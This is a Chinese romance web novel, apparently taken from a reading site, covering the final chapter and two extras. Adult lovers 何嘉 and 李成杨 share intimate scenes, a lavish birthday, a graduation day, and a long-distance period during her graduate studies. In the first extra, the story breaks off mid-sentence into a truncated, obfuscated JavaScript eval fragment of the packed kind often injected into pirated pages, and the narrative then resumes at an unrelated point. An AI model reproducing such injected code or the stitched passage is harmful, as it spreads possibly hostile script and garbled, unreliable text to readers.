“嗯。”他环住她的腰身,将脸埋在她胸口蹭了蹭。 一股酥麻让何嘉轻颤一下,红着脸问:“你脸怎么扎扎的?” “嗯?”他又蹭了一下,笑了:“胡子。” 她伸手在他下颌摸了一圈,触到一点细密的胡茬,手感微刺,还有点扎手。 “怎么一天不刮就长出来了?” “我是活的。” “我知道了,你肯定激素旺盛。” “是么?你要不要检查一下?” “好啊。” 何嘉说完就去摸他的喉结,那里像个核桃一样滚来滚去。她一摸他就动,让她更感兴趣了。 光摸还不解闷,直接上手去捏。 李成杨闷哼一声,又滚了两下,好心提醒她:“别碰,除非你等会儿不想回家了。” “好吧。”何嘉重新抱住他,问他:“你喜欢我这样抱你吗?” 他不说话,轻轻嗅闻她的柔软。 “看来你还是很喜欢的。” 他还是没有说话,用吻代替回答。 她抱紧他,告诉他:“你不好意思说喜欢对不对?没关系,我也喜欢你这样抱我。” “嗯,喜欢。” “那再抱一会儿吧。”何嘉轻戳他的面颊,看到他脸上细小的绒毛。 她盯着它们,由衷地感叹:“生命真是美好。” “怎么说这个?” “就是感叹。” “好,大哲学家。” “你嘲讽我?” 何嘉用力戳了一下他的胸膛,狠狠地说:“你知不知道上次那个的时候,我在想什么?” “上次?” “就是答辩那天。” 他轻叹一口气,“你在想什么。” “我在想要不要杀掉你。” 他点头:“很巧,我在想要不死了算了。” 她生气:“干嘛呀,不就是贞操被我夺走了吗,这样你就要死了?” “不是,我想的是,如果要为你死去,我也愿意。” “你这么大爱无私?” “不是,我的爱有限,只给你一个人。” 动听的话再多也不嫌多,何嘉被他的语言取悦,摸了摸他的后颈当做奖励。 “你才是会说好听的话的人,我都没有你厉害。” 李成杨坐起来,把她重新抱在怀里。 “会说的就那么几句,全都说给你听了。” “非常好,孺子可教。” 他不接话,反将她身上的被子全都扯掉。 何嘉感觉身上一凉,迟疑地问他:“大早上的,你,你不累吗?” 李成杨捏了捏她的脸颊,“想什么呢?” “那你怎么掀我被子?” 他把她翻过去,开始检查。 何嘉却拉回被子想要盖住自己。 “你干什么呀?你不要看我,我不好意思。” 他无所谓:“你哪里我没看过?” “那能一样吗?现在又不是晚上。” “白天不能看?我现在就想看。” “那,那好吧,你不许干别的。” “嗯。” 他的目光扫过她腰间,粗略查看之后将她翻回来。 何嘉还没反应过来,他又替她盖好被子,遮得严严实实。 她问他:“你看什么?你昨天没看够吗?” 他说:“不是,我在看有没有留痕。” “什么留痕?” “工作留痕。” “你好冷。”她又问:“那有没有?” “有两个。” “怎么只有两个?”她摸了摸胸口的红印,又往下看了看,没发现另外一个在哪儿。 “另一个呢?” 李成杨轻触她的后腰,说:“在这里。” 她试着摸了摸,有点不满意:“为什么只有两个呀?我不是说了我喜欢你留下的痕迹吗?” 他摇头:“太多了不健康,也不美观。” “那怎么办?我在你身上留了好多。” 何嘉趴在他身上看来去,不止脖子上,就连胸膛和腹肌上都有密密麻麻的红点。 他说:“我喜欢,上次就说过,我喜欢你给我留的东西,越多越好。” “可是你说不健康。” “我抗造。” 小姑娘偷笑:“对,你身体好。” 他耐人寻味地低语:“看来你昨天学习得很到位。” “我很聪明。” “好,你聪明,你聪明就起来吧,该洗澡了。” 何嘉直接从被子里爬出来,身体沐浴在坦荡的空气里。 她的长发垂在背上,随着她回头的动作飘动着,带起一阵香气。 李成杨坐在床上看她,似乎还可以闻到那股香味混着昨晚的甜腥。 他装作不在意地说:“衣服也不穿?你站那儿想干嘛?” 她说:“我要去洗澡。” 又说了一遍:“我要去洗澡。” 他还是坐在那里,眼神饶有兴致。 无声对峙了几十秒,他察觉这是邀请。 掀开被子,朝她走近。 何嘉瞥到他,一下子就没了胆量。 后退几步,赶紧说:“你别过来,我没有要和你一起洗。” 他却越走越近,将她直接抱起,一脚踢开浴室开始放水。 “李成杨你要做什么?” “爱。” “啊谁让你这么回答的!你快点出去!” 他没听,只说:“站好。” 淋浴的水声变大,玻璃门却敞着,外面的阳光透过窗帘跑到门口,里面的人忙着交谈,根本不管不顾。 烈日当空,知了烦人,直到再也听不到昆虫的鸣叫,李成杨才抱着何嘉回到床上。 何嘉的后肩多了一个红印,是他犯罪的证据。 “李成杨你过来。” “怎么了?还要?” 她剜他一眼,在他手臂上又啃又咬,他却像没事人一样轻松。 等她咬得没力气了,他才从背包里拿出几件衣服。 从内衣裤到外穿的短袖一应俱全,叠得一丝不苟。 他递到她面前:“乖乖,穿衣服。” 她瞪住他,将衣服全都甩到他身上。 “李成杨你好闷骚,你以前都不是这样的!” 他拾起衣物,一件一件整理,语气很淡:“刚刚不是小乖邀请我吗?怎么生气了?我还以为是奖励。” 何嘉气不打一出来,又咬了他一口,“你好讨厌,你怎么那么讨厌!” “嘘。别说‘讨厌’两个字,那样会让我心情更好。” “你滚一边去,看到你就烦。” “我滚了谁给你穿衣服?” “你!” “对,是我。” 最后何嘉还是妥协了,算了,有仆人伺候也行,反正不用自己动手。 她只是好奇:“你什么时候计划好这一切的。” 他替她吹干头发,掏出一个梳子,在她头上梳了梳。 “就前几天。” “你怎么确定你的计划一定会成功?” “某人如饥似渴。” “?” 何嘉把枕头砸到他身上,怒了:“我?你好意思说我?你这个大变态!你看看你刚才对我做了什么!” “嗯。”李成杨指着身上的伤痕,“你看看你对我做了什么?” “你活该。” “我活该。好了,都收拾好了,可以退房了。” 何嘉气冲冲地走出去,一个眼神都没留给他。 直到回家的时候还在生气。 李成杨到她的房间哄她,“乖乖,还在生气?” 她不理他,一直玩手机。 他躺在她身边,扯了扯她的衣摆,“别生气。” 这么哄还不如不哄呢,何嘉睨了他一眼,说:“一边去。” 他抱着她一起滚在被单里,再次示弱:“乖乖,我错了,别生气了。” 何嘉抓着他的领子说:“你求我。” “求你,我的乖乖,我的嘉嘉,我的宝贝。” 她连忙捂住他的嘴巴,受不了他这么肉麻。 “别说了别说了,我不生气了。” 他捏着她的手心亲了一口,“嗯,谢谢乖乖原谅我。” 何嘉很快就心情大好,开始不正经:“你以后别睡书房了。” “为什么?” “书房的床好小,一点都不舒服。” “怎么不舒服?” “一点都不方便滚来滚去。” “不是我睡吗?跟你关系不大。” 她说:“怎么关系不大?我以后都想和你一起睡,你搬回卧室吧,等我们下次想刺激一点的时候再去书房好不好?” “……”他很肯定地说:“不行。” “不嘛,你要是非要睡书房,那我也过去。” “你和我一起我还睡不睡?” “你睡呀。” “那你还睡不睡?” “睡呀,睡你。” “……” 李成杨从床上起来,踩起拖鞋走回书房,回去的时候还不忘带上房门,生怕某人跟着进来一样。 何嘉在门外说:“李成杨我生气了。” 里面声音懒散:“嗯,气吧。” “我真的生气了。” “好。” “那好,你睡书房,你和书房睡一辈子。我才不要和你一起睡,以后都不要!” “嗯。” 何嘉气得胸口都痛了,感觉力气全都打在棉花上,回到卧室打了好几个滚才冲进书房,将身体全部压在他身上。 他毫不意外地抱住她,继续玩手机。 她不满地说:“你欺负我。” “嗯?我哪儿欺负你?” “你故意的,你故意等我来找你。” 他放下手机,“你知道就好。” “那你要不要回来嘛?”她使出撒娇的秘诀,“成杨哥哥,好不好嘛,我想你陪我。” 他这次自动防御,“以后再说。” “以后是多久?” “过两周。” “过两周是多久?” “到时候你就知道了。” “好吧。” 何嘉不再追问,两人就这个问题达成了暂时的妥协。 剩下的日子两人相安无事,何嘉又开始了她的牛马生活,李成杨也没好到哪儿去,他每天忙得连消息都没时间回。 直到六月十九,何嘉毕业典礼的前一天。 李成杨竟然到了上班时间还没走,何嘉一边吃早餐一边问他:“你怎么还不去上班?” 他说:“今天不上班。” “你这个月的假不是休完了吗?你请假了?” “嗯,请假了。” “你请假做什么?” “给你挑礼物。” 何嘉以为他指的是什么不要脸的东西,连忙说:“那种东西网上买就好啦,你干嘛请假去买?而且上次我不是买了一大袋吗?你快点回去上班吧。” 李成杨失笑:“我不是说那种礼物,我是说给你的礼物,真正的礼物。” “我的什么礼物?”尽管猜到是什么缘由,何嘉还是忍不住问他:“你为什么要给我挑礼物?” “每年的今天,你出生的礼物。” 她吃惊地看着他:“我从来没有提过,你怎么知道?” “我就是知道。” “那你要挑什么礼物给我?” “保密。” 他催促她:“去上班吧,晚上回来就知道了。” “我不要。”何嘉将脸凑到他面前,“我要你先给我一个预告礼物。” “是么?” 李成杨将她圈在怀里,在她唇上留下一个深吻。 何嘉被他亲得迷迷糊糊的,想起来:“我不是说要这个,我只是想让你亲亲脸。” 他笑起来,“那你过来,重新亲。” 她把脸凑过去,他却趁她不注意,又在她唇上啄了一下。 何嘉发现自己被耍了,脸红得不像话,“李成杨你又欺负我。” 他很正经:“你太可爱了,有点情不自禁。” “你别再说了,我要去上班了啊。” “去吧,生日快乐,宝贝。” 何嘉笑着点头,刚出门就已经开始晚上了。 这种高兴的心情一直持续了一整天,她一会儿猜测李成杨要送她什么,一会儿又告诉自己不可以期待过头。 带着这样的期待,就连守晚自习这种酷刑都变得没有那么难熬。 她在教室里走来走去,发现有同学抬头看她,还朝他们点点头,忍不住将自己的喜悦分享出去。 晚十点一到,何嘉提着提包第一个冲出教室,同学们还没来得及看清她的身影,她就已经踏上了回家的路程。 从学校到家的路,她已经走了无数遍,但是今天却有种不同的预感,她感到真正的快乐,是通往幸福的路。 钥匙插孔,她深呼吸几次,缓缓将大门打开。 室内暖黄的灯光先她一步冲出室内,她站在门口,仿佛看见流星一般愣在原地。 李成杨就站在她面前,抱着一束芍药对她微笑。 一身亚麻质地的衬衫,袖口轻轻卷起,衣角正式地收进腰间。他手上的那束芍药层层叠叠,粉白间带着水珠,甚至可以闻到甘甜的香味。 而他,眼神温情,像是演练过无数次那般,说出了台词—— “生日快乐,乖乖。” 烛火轻摇,她看见彩带像烟花一样在他身后盛开。暖光打在他身上,多了一抹温柔的味道。 他就站在那里,静静地等她回应。 那束芍药同他在寂静中低语。 “唯独爱你,固执且专一。” 何嘉默了默,接过花束的时候感到鼻酸。 52朵芍药的大小盖过她的大半个身体,她用双手将它托起,从未见过如此厚重的花束。 她吸了吸鼻子,抬头问他:“李成杨,你在这里站多久了?” “不久。”他在她脸上轻吻,将手掌伸给她,“我们进去吧。” “好。”何嘉抓住他的手,是前所未有的安定。 客厅的LED小灯串成“23”的字样,白墙暖光,就如初见他的那天一样明亮。 彩带飘在空中,末端贴着她的照片,是沉默的,是微笑的,是肆意的,是阳光的,每一张都有关于她,就连她自己也不知道,她竟然有这样多的回忆。 何嘉将每一张照片都翻看一遍,心里感到很暖,因为这世上还有那么一个人,无时无刻都在记录她的存在。 她想回头告诉他谢谢,他却端着蛋糕重新站在她身后。 白色的奶油蛋糕,上面盛放幽兰,款式极简但质感文艺,连同点燃的蜡烛,更像是一个精心制造的梦。 他的五官被烛火染上暖意,看向她的眼神永远像水一样柔情。 何嘉就这么望着他,看到他朝她轻笑,将蛋糕端在她面前。 “乖乖,许个愿吧。” 女孩低头,将双手合十放在胸前,发尾随着动作微微下垂,隔绝所有的杂念。 她闭上双眼,眉眼被火光照亮,像个恬静的天使。 天使也会许愿,她是向神明许愿。 如果可以的话,她今年想连同前二十二年未许过的愿望,一起合成一个唯一的愿望。 ——“我希望以后每年的生日,李成杨都在我身边。” 就贪婪一回,让梦境变为现实。 虔诚地吹掉蜡烛,白烟缠绕在他们周围。 李成杨放下蛋糕,拥她入怀,左心房的位置怦怦跳动,他用尽前半生最大的幸运,遇到她。 他对她说,郑重地说:“乖乖,谢谢你的出生,那是这个时代最好的事情。是我要感谢生命,感谢你,感谢我能有机会陪在你身边。我想祝你年年顺遂年年平安,永远只做小孩。” 何嘉在他怀里猛地点头,一直不停地说:“谢谢,谢谢你。” 她的心脏被他温柔地打开,塞进这世间罕见的甜蜜,从此她的世界有了光,不再害怕孤单。 熟悉的体温包裹她,比从前的每一次都让她感到放松,她忍不住现在就告诉他:“李成杨,我真的好喜欢你,真的好喜欢好喜欢。” 他笑了笑,每一个细胞都在为 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“一盒现金的生日礼物,是不是有点过于别致了?” 他想了想:“还好,只是先来一盒让你开心一下。” 她问:“这里有多少?” “你自己数数。” 数钱当然不嫌麻烦,何嘉将五叠钞票拿出来仔细点了一遍,越数到后面心跳越快。 终于数完了,她有种很荒谬的感觉。 “你……我,你准备了五万二?” 李成杨点点头,“我觉得比起转账,数现金应该直观一点,所以直接取了钱装在礼盒里。” 何嘉目瞪口呆,平静了好一会儿才说:“你怎么给我这么多钱呀?我们又不是什么大富大贵的人,这样是不是有点夸张了?” 他觉得没什么:“还好,虽然我不是大富大贵,但我的钱以后都是你的。” “哎呦。”何嘉揉了揉自己的脑袋,想哭又觉得搞笑,“我真不知道说什么了,你,哎呦你。” 李成杨替她笑出来:“好像是有一点夸张,但是乖乖不喜欢吗?” 她立马说:“谁不喜欢了?我喜欢呀!我好喜欢!我最最喜欢你,你是天底下最帅的男人!” “喜欢就好。”李成杨拿起另外一个小礼盒,“喜欢就来拆下一个礼物吧。” “你能不能先告诉我这里面是什么?” “不能,你自己拆。” “好吧。”何嘉小心地扯掉外包装,又看到了一片红色,“你不会告诉我里面是现金套娃吧?” “不是,拆开吧。” 果真不是,这个礼盒里面装着一个首饰盒。 何嘉很快就将它打开,看到一片金色的雪花躺在黑丝绒上。 金光闪闪,收集了天地精华。 李成杨拿起项链,站到她身后替她戴好。 她小心摩擦那片雪花,很紧张地问:“这是足金的吗?” “是。” “这是实心的吗?” “是。” 这下何嘉真的哭了,“呜呜呜李成杨,你怎么这样啊?” 李成杨哭笑不得:“我怎么了?” “你怎么对我那么好啊?” 他吻掉她的泪水,“我不对你好,我对谁好?” “可是好贵啊,怎么那么贵啊,这可是黄金啊,还是足金实心的,呜呜呜真的好贵……” 何嘉边哭边摸那片雪花,发觉刚才有点大意了,这根本不该用“片”形容,因为它的手感真的很务实。 她忍不住问他:“这个多少钱?” 他没回答,只问:“喜不喜欢?” “喜欢。”她一直点头,“喜欢,好喜欢。” “嗯,只要你喜欢,那就值得。” 她又抽噎几下,看见他脸上带着满足的笑。 “你笑什么呀?” “我开心,因为我送的两个礼物你都说喜欢。” “这些礼物谁会不喜欢?只有你会送这么直接粗暴的礼物了。” 他抿了抿下唇,凑到她耳边,“乖乖不是说过吗?有时候就喜欢粗暴一点。” 何嘉差点笑出鼻涕泡,捶了他一拳,小声嘟囔:“你能不能正经点。” “能。”他很快在她身边站好。 她好奇地问:“你今天挑礼物花了多久?” “没花时间。我五月的时候就准备好了。” “五月?” “嗯。” “那你怎么想起来要送这个的?” “黄金实在。”果然是很李成杨的回答。 何嘉长呼一口气,感觉今天发生的一切都超出了她的理解能力。 “你先让我冷静一会儿。” “好,要不要先吃蛋糕。” “我现在还不想吃。” “那就再等会儿。” 她坐了好一会儿,渐渐接受了这个事实,缠着李成杨的手臂撒娇:“既然你都送了两个那么贵重的礼物给我了,可不可以顺带再送一个?” “什么?” “搬回卧室和我一起睡吧。” “可以。”他答应得很爽快。 这让何嘉有点难以置信:“你这次怎么突然松口了。” 他朝她眨眨眼,“两周到了。” “两周?你上次说的两周就是今天的意思吗?” “是。” “你为什么挑我生日这天?” “因为,我也是礼物之一。” 何嘉后退几步,害羞地看着他:“李成杨你真是祸水,明知道我意志薄弱还要勾引我。” “有吗?”他不觉得呢,“我不过是正常地回答了一个问题。” “哼,不跟你说了,我要去吃蛋糕了。” “好。要不要听点音乐?”李成杨走到音响旁边,开始连蓝牙,“我刚才点了餐,吃饭的时候也可以听。” “你挑吧,我欣赏一下你的品味。” “好。” 手指下滑,他熟练地找到置顶歌单,里面只有一首歌。 轻触屏幕,吉他和鼓点交织在一起,轻快的旋律很快回荡在房间里。 李成杨走向何嘉,安静地看着她。 何嘉听到这首歌的时候突然沉默,就这么和他长久地对视着。 一张名为《TakeMeHome》的专辑,从2012年发行开始,循环了她的整个高中时代。 那个时候的她幻想过,如果将来有人用专辑里的任何一首歌向她表白,那么她一定会永远记得他。 但此刻,却不只永远记得,她要和他永远在一起。 歌曲洋溢着青春,那是她的青春。 她看着他说不出话,刚才平静下来的心情又开始波澜壮阔。 歌词一直放到副歌,她甚至可以在心里默唱—— Babyletmebeyour, 宝贝,让我成为你最后的, Letmebeyourlastfirstkiss 让我成为你最后的初吻 Iwannabefirst,yeah 我想成为第一个,是的 Wannabethefirsttotakeitallthewaylikethis. 我想成为第一个,陪你走到最后的人。 乐声和风声夹杂在一起,齐齐砸在她心里。 何嘉凝视着李成杨,她看到了他眼里的星星。现在她知道,他眼里的星星一直是她。 她朝他嫣然一笑,问他:“李成杨,你为什么要送我雪花样式的项链?” 他说:“因为你喜欢雪。” 她点头,接着问了他一个毫不相干的问题。 “李成杨,一年四季你最喜欢哪个季节?” “冬天。” “为什么?” “因为冬天下过雪。” “你喜欢雪?” “不,我喜欢你。喜欢你突然闯进我的冬天,喜欢那场为你骤落的初雪,还有,你第一次吻我的那个雪夜。” “我不想吃蛋糕了,我们接吻吧。”又是一句毫无关联的话。 他却能读懂她,在她唇边询问:“如果我们现在接吻的话,我会是你的Lastfirstkiss吗?” “会。”她笑着回答。 -正文完- 林木苔 2026/2/14 58. 番外一 何嘉决定戴着那条雪花项链去参加毕业典礼。 太阳刚上树梢,她就站在衣柜前左挑右挑,最后选了一条稍微正式的白色连衣裙和项链搭配。 说来很巧,她柜子里大多衣服都是白色的。从前一个人的时候,她总喜欢穿黑色和灰色。白色对她而言是很奢侈的颜色,不但不耐脏还容易旧,那样就没法穿个好几年了。 但是有李成杨之后,她就不再考虑这个问题,因为她可以买任何她喜欢的衣服,所以白色现在是她最爱的颜色。 穿好裙子,又套了件学士服在外面,何嘉走到床边去叫李成杨。 “李成杨,我等会儿自己去学校就好,你不用送我。” 李成杨昨天睡得晚,现在整个人都懒散地窝在被子里。听了她的话之后搓了搓脸,抬眼在她身上巡视一圈。 “我今天也请假了,等会儿和你一起去。” 她“咦?”了一声:“你连着请两天不会被扣钱吗?没关系的,我自己去就行。” “没事。”他一把将她拉在怀里,“扣钱没事,把我开了也没事,我正好打算不干快递了。” “什么?”何嘉觉得有点突然了,“为什么不干了?不是已经很多年了吗?” “我想着你不是要读研了吗,到时候跟你一起去临昌,就不干快递了。” 何嘉一听这话更觉得诧异,从他怀里坐起来,很严肃似的,“你要陪我读研?不对,你不用和我一起去临昌的,你就算不干快递,你在这边还有店呢,到时候多麻烦呀,还要两边跑来跑去的。” 李成杨没个所谓:“没多远,每个月抽个时间回来就行。” 她还是不赞成:“不不不,你真的不用跟着我,我放假的时候就会回余川呀,你在这边继续干好你本来的工作就好了。” “不。”他不断摩擦她的手指,眼神很坚定:“我可以在临昌那边再开个店,一样上班。” 她摇头,“不行,不行,不行。你说你为什么非得跟我去临昌啊?我读三年就回来了,我以后不打算待在临昌的,你去那边开店也是浪费钱,多的事情都出来了。你就在余川等我好不好?” 他倒是没想到她会这么说。临昌可是个好城市,机会多,待遇高,省内的年轻人都想去那儿发展,他觉得按理来说何嘉也应该是这么计划的。所以他问:“你以后不打算留在临昌?” 何嘉说:“我从来都没想过要在临昌生活,以前本来觉得读完就回安城,但是我觉得余川也很好,我特别喜欢这里,而且这里也有你。” “是么?”李成杨吻了吻她的手背,眼里藏了点说不出来的高兴,“以后你想在余川定居吗?” “想啊,我一直都想。” “可是临昌机会更多,你应该读完再考虑一下。” “我知道的,但是我想着以后毕业了就回三中,虽然累了点,但是学校还是很不错的。”何嘉说完又想起他刚才要辞职的事:“刚才你说你不想干快递了,是想去临昌陪我吗?在临昌开店也是想着以后和我一起留在那边?” 李成杨把脑袋埋在她的颈窝,语气很诚恳:“是这样想的。我想陪你,或者说是,我不想和你分开。” 小姑娘乐了:“李成杨你都多大人了,怎么越活越像小朋友了?我说了呀,每次放假我就会回来的,那时候你就可以见到我啦。” 他没否认,捧着她的脸颊开始亲吻。嘴唇一寸一寸吮吸她的唇瓣,将她刚才涂的唇蜜全都舔掉,咽了咽口水又覆上去,像只章鱼一样将她的嘴巴弄得湿漉漉的。 何嘉被他亲得脑子晕晕的,这个男人现在这种事儿上练得炉火纯青,每次都让她面红耳赤,连空气都变得热气腾腾。 但今天这个吻似乎还多了一些缠绵,就像是他在恳求些什么。 她靠在他怀里,软软地问他:“李成杨,你怎么了?难道你不舍得我走吗?” “嗯,不舍得。”李成杨抱住她,力气很大,把她完全箍在胸口,“我不舍得你走,我也怕分开之后,你会遇到比我更好的人,就不要我这个叔叔了。” 何嘉高兴地笑了:“你原来也会说这种话啊。” “怎么不会?” “你以前不会这样的。” “那是以前。” “好吧,你别担心。你就是我遇到的最好的人了,我不会看上别人的,你那么帅而且又送我读书又给我花钱,大一点也无所谓嘛。况且我们现在已经有家了,你就在家等我好不好呀?” “家?” “对呀,就是这里。” 李成杨跟着笑了:“好,我在家等你,当你的望妻石,每天等你。” 何嘉戳了戳他的酒窝,“所以你还是别辞职吧,你每天累一点就不会觉得那么想我了啊。” “这个还要考虑,快递干久了感觉有点累,我真想过不干了。要不等你回余川上班我再辞职,到时候再开家店?” “那样的话还是可以的,你准备开什么店?” “不知道,还是餐饮吧,你喜欢吃什么?” “我也不知道,到时候再说?” “嗯。” 李成杨摸了摸她的嘴唇,又想亲她,但她这次制止了,“我刚才化妆了,你把我口红都吃了,不可以再吃了。” 他说好吧,转头问她:“你那典礼几点开始?” “八点。”何嘉看了眼时间,“啊,都七点半了!开车过去都得迟到了!” 李成杨立马从床上爬起来,扯了个白衬衫就拉着她出门了。 到学校的时候正好赶上拍毕业照。 何嘉找到自己的室友,和她们站在第一排。 楚曦站在她身边,看到她和李成杨一起过来的,在她耳边小声咕哝:“你对象看着比照片里还帅啊。” 何嘉说:“还好啦,也就全国第三吧。” 说着就往李成杨那边瞧了一眼,男人穿着白色衬衫,和她身上的颜色如出一辙,在人群中一看就是一对。 李成杨看到她的视线,伸手朝她挥了挥,又拿出手机替她拍照,一直站在一边等候。 何嘉压不住笑意,随着摄影师的指挥声,留下了她的本科毕业照。 阳光下,白衣裙,粉领的学士服衬得她温柔可亲。头上一顶学士帽戴得一丝不苟,和李成杨当年戴帽的习惯一模一样。 拍好毕业照之后,何嘉拉着李成杨的手走到学校正门,楚曦帮他们合照留影。 两人亲密地贴在一起,男人朝姑娘微微侧身,手臂环在她腰间,姑娘手捧一束浅蓝的蝴蝶兰,长发在光里轻轻飘荡。 “3、2、1,看这里!” 楚曦一下按了好几张,将他们最好的样子定格在这一刻。 何嘉拿回手机,放大去看他们的表情,两人笑起来的样子默契十足。她又看了几眼,发现脖子上的雪花项链被阳光照得一闪一闪的,像是一抹永不暗淡的金光。 她抚摸着雪花的形状,抬头对李成杨说:“这条项链我要戴一辈子。” 李成杨揉了揉她的脑袋:“你要是戴一辈子我还怎么给你买新的?” “我不要新的,我就喜欢这个,这上面有属于我们的记忆,我要一辈子戴在身边。” 他宠溺地亲吻她的脸颊,“好,那就一辈子。” “咳咳。”一旁的楚曦出声提醒,“喂喂喂,这里还有个活人呢,你俩别太过分啊。” “没有啊。”何嘉牵起李成杨的手,朝她展示了一下,“我们就牵了一下手。” 楚曦扶额苦笑:“好好好,你俩一边牵去吧,我先去找陈雨婷了。” “好,你去吧。” 等楚曦走了之后,何嘉拉着李成杨问:“现在我们要不要逛一下学校?还是你想去探究一下我给你准备的隐藏项目?” 他问:“隐藏项目是什么?” “不告诉你。” “那我不逛学校了,我想先探究一下你的隐藏项目。” 她凑到他身边笑,“你不要太期待啊,我这是正经项目。” 他说真的:“我知道,我只是有点好奇。” “那我们走吧。” “去哪里。” “饭店。” 这是何嘉这几个月第一次回到饭馆,里面的陈设和当初离开的时候没有任何变化。 今天张姨和其他伙计都在休息,偌大的地方只剩下他们两个人。 室内很静,何嘉带着李成杨走向二楼的那间房间,那是他们缘分的开始。 一张桌子一张小床,空气里有了夏天的黏腻。 “李成杨你坐这里。”何嘉指着桌子旁的一张椅子。 他却很疑惑:“这里能有什么隐藏项目?” “嘘,你闭上眼睛。” 李成杨听话地闭上双眼,安静地等她发号指令。 何嘉静静地看着他,阳光打在他脸上,他的睫毛又弯又翘。 “你不许睁眼噢。” “好。” 女孩缓缓打开桌子的抽屉,从里面拿出一张枯萎的落叶,上面写着三个字母,到现在依旧清晰可见。 她把落叶放在李成杨面前,他甚至还可以闻到一点点枯叶的味道。 他问:“我可以睁眼了吗?” 她说:“可以。” 棕褐色的心形落叶,叶边微卷,叶面上起了点点霉斑,但保存得十分完整,就连字母也一笔一划,一下子印在他心里。 李成杨接过叶子,问:“这是什么时候的树叶?” 何嘉说:“很早之前了,有天回学校的时候在路上遇到你,你让我别叫你老板,然后我叫了你叔叔的那天。” 他露出酒窝,“原来那么早了。” “是呀,就是那么早。那天我住进了这里,也就是那个晚上,我好像就喜欢上你了。” “是么?为什么是那天?” “可能是你那天逗我玩的样子很好看吧?” “我逗你了吗?” “你有!你问我是不是觉得你老,然后我说不是。” “那就有吧。” 李成杨细细观察这片落叶,看到“LCY”三个字,又问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好,这样很好。”他就喜欢听她说这样的话,“那我就每天待在家里照顾你,然后等你回来。” 她不认同:“那也不太可以,你还得挣钱呢,我以后要做老师的话,工资也没有多少,家里开支肯定是你来,你在外面也得努力才行。” “嗯,我会努力的,努力到你永远都不会对我失去兴趣。” “非常好。”她摸了摸他的后脑勺,又说:“你现在怎么总想这些啊?感觉我们每天都要重复一遍这个话题。” 他叹了口气:“这不是人老了,你都二十三了,我离三十五也不远了,三十五之后就算中年人了。” “Nonono,才不是。你现在看上去也没有和我相差多少,你现在还是壮年,你应该自信一点。” “真的吗?” “真的。” “那我相信了。” “你要一直相信。”何嘉将那片落叶又递到他手里,“这个东西就送给你啦,它本来就属于你。” “为什么本来就属于我?” “因为这是杨树叶,这就是李成杨,是我最喜欢的一棵杨树。” “是吗?” “是。” 李成杨心里暖得说不出话,将何嘉抱在怀里一刻也不愿松手。 何嘉却指着被打开的抽屉,提议道:“现在我可以看看那个文件吗?就是你没拆的那个。” “看吧。”他示意她去拿。 这不是她第一次触碰这封文件,可这次反而更加小心翼翼。 她记得他说过,里面装着他从前的照片,也是他毕业那天的照片。 怀着好奇的心情,何嘉缓缓撕开封条,几张边角泛黄的照片映入眼帘。 照片里只有单人照,镜头里的青年五官和现在没有太大差别,只是气质忧郁,看上去沉默得不可接近。 这感觉真奇妙,他比她年长这么多岁,但今天,属于他的二十二岁再次被展开,即使那段记忆没有何嘉,但此刻却依然和她相交。 何嘉轻抚他的脸颊,眼里满含笑意:“你那个时候好凶啊,要是那个时候遇到你,我都不敢跟你讲话了。” 李成杨接过照片,仔细翻看几眼之后也很认同:“那会儿看上去是不太善良。” “不是的。”她说:“你一直都很善良的,那时候只是看上去凶了点,但就冲你救你爸这事来说,我就肯定你一直都是那么好的人。” “你真是,”他拇指蹭过她的鼻尖,浅浅地笑,“你才是那么好的人。是我们乖乖总是有一双体谅人的眼睛,反而我没有你说的那么好。” “那也不对,你好不好我一直都知道。” “你又知道了?” “我就是知道。” “好,你知道。” “那既然我知道了,你能不能送我一张照片?” “你要哪张?”李成杨指了指照片,说:“都一个表情,没太大差别。” 何嘉全都看了一遍,将照片全都捏在手里。 “我反悔了,我不能只要一张,我全都要。” “你要来干什么?” “我要把它们和我的照片贴在一起。” “为什么?” “因为那时候的你过得不开心,所以我想陪陪那个时候的你。” “……好。” 李成杨心窝发烫,脑子里忽然出现一个预言。他想,自己这辈子好像都要喜欢面前这个姑娘了。 59. 番外二 读研生活对何嘉来说没有太大变化。第一年的时候她领了奖学金,从学校宿舍搬出来,自己租了间公寓。 李成杨每个月休假都会来找她,一开始他说要帮她租间大的房子,但小姑娘自己有了主意,觉得一室一厅的房间就已经很够用了。 一个月就那么四天可以见面的日子,两人总是黏在一起,四天里三天都在家里窝着,恨不得住进对方的身体里。 李成杨总是在早晨的时候对何嘉说:“乖乖,我们是不是该找点别的事情做?比如开拓一项新的爱好?” 何嘉对此忧心忡忡:“是不是我过分了,让你有点受不了了?” 他无奈地笑:“不是。我只是觉得我们这样好像不是很健康。我们还是应该节制些,好吗?” 她说:“可是,我就是喜欢和你连在一起,我喜欢和你贴在一起的感觉。” “嗯……我们可以找点别的事情来做,也一样会让你快乐。” “那你有什么推荐吗?” 李成杨仔细想了想:“钓鱼、徒步、登山?” “这些真的会让我快乐吗?”何嘉怎么觉得这些都不是那么让人心动呢,“有没有更有意思一点的活动?比如说可以和你一起进行的?” “这些不是都可以?” “可是参与性不怎么强。” “那就羽毛球网球之类的运动?那些参与性比较强。” 何嘉翻了个身,直接背对他,有点闷闷不乐:“我们非得用这么正统的活动来约会吗?” 他却觉得还好,“这些可以促进交流还很健康,可以尝试一下。” “尝试个大头鬼。”她将被子全都裹在身上,一点都没给李成杨留。 他打了个颤,转过去哄她:“好好好,你说不好就不好,那乖乖说想怎么约会?” 她沉默半晌,突然想起来个事。 “我好像还没学驾照,我不要跟你约会了,我干脆去学一下驾照吧。” 李成杨听着怎么有种搬石头砸自己的脚的感觉,但他还是说好。 “可以的,该有的技能还是应该要学会。” “好,那我明天就报名。” “嗯,定好驾校之后费用发我。” “哼。” 这一声没来由地让他心脏一沉,总觉得哪里有点不安。 怀着这样的心情,新一年的冬天又来临了。 何嘉说了要考驾照之后,就完全是动真格的,每周只要没课就准时出现在驾校。 这天李成杨休假,从余川到临昌只花了一个半小时,他早就打探好何嘉的作息时间,这会儿把车开到学校门口等她。 手指轻敲方向盘,视线一直盯在大门的某个方向。 小姑娘穿着一身浅蓝,那件羽绒服是他给她买的。长直发变成了韩系波浪卷,慵懒地搭在她胸前。 一点淡粉的口红,衬托她原本白皙的肤色更加水润。她是笑着的,神情很放松,这副模样比上个月见到的时候更美,更加不一样了。 李成杨安静地欣赏她,非常骄傲地想,自己真是好运才会遇见这么好的宝贝。 